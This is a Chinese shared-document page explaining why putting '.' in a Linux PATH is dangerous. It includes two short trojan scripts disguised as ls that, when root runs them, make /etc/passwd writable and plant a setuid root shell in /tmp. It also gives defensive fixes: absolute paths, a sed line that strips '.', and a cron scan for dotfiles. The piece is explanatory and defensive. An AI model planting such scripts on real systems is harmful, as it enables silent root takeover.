为了正常的体验网站,请在浏览器设置里面开启Javascript功能!

环境变量PATH

2017-10-13 3页 doc 14KB 14阅读

用户头像

is_682974

暂无简介

举报
环境变量PATH环境变量PATH $PATH环境变量里存着一张目录列表,当用户要执行某一程序时,系统就会按照列表中的内 容去查找该程序的位置。 当程序名前不带点斜线 . / 时$PATH就会起作用。 对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这有点不方便, 想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。 本文主要讲述“.”在LINUX的环境变量PATH中所带来的问题,及解决的几种方法。 1、例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录) 命...
环境变量PATH
环境变量PATH $PATH环境变量里存着一张目录列,当用户要执行某一程序时,系统就会按照列表中的内 容去查找该程序的位置。 当程序名前不带点斜线 . / 时$PATH就会起作用。 对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这有点不方便, 想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。 本文主要讲述“.”在LINUX的环境变量PATH中所带来的问题,及解决的几种方法。 1、例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录) 命令操作如下:# PATH=$PATH:. # echo $PATH/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:. 这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输 入./foo.sh的烦恼(foo.sh是我假设的脚本文件名)。 有的 root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。 还有人将root用户竟然PATH=.: $PATH(将":"加到路径前是另一种形式)。 正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对root说他的 系统出问题了希望root能帮他解决。(其实是一个trap)。 Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。 以下是个简单的C shell 的例子 #!/bin/cshIf ( ! -o /bin/su )goto finishcp /bin/sh /tmp/.shchmod 7777 /tmp/.shfinish :exec /bin/ls $argv | grep -v ls 稍微变形就有个B shell的 #!/bin/shif chmod 666 /etc/passwd > /dev/null 2>&1 ;thencp /bin/sh /tmp/.shchmod 4755 /tmp/.shfiexec ls "$@" 如 果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户 在/tmp中执行ls时,执行的是上面给出的脚本,而不是实 际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置 为可写,并将shell复制到 /tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。 在以上这两个程序里,心怀不鬼的人能写入任何令root 急的要跳楼的程序,部下陷阱 等root来钻,也许root在不知不觉中施行了也根本不会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结果 /sbin/ps却不被执行。类似这样的小花招还有很多。 管理员同志,不要太紧张,下面我说说解决办法。 首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。 其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受 到前面所述的那种危害。 最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行 [PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' ` 这个简单的sed命令将删除路径里所有的"."包括其另一形式"::" 还可以由crontab调用定期执行 #find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt 来搜索所有以点开头的文件,再发送到root的邮箱里,再进行比较等任务。 好了,希望各位用户能有所感悟,能想出更好的防御办法。欢迎,大家有问题与我联系 哦! cgweb at 163 dot com 备注:以上提供的shell代码仅供实验使用,不得用于违法活动,否则与本人无关.
/
本文档为【环境变量PATH】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。 本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。 网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。

历史搜索

    清空历史搜索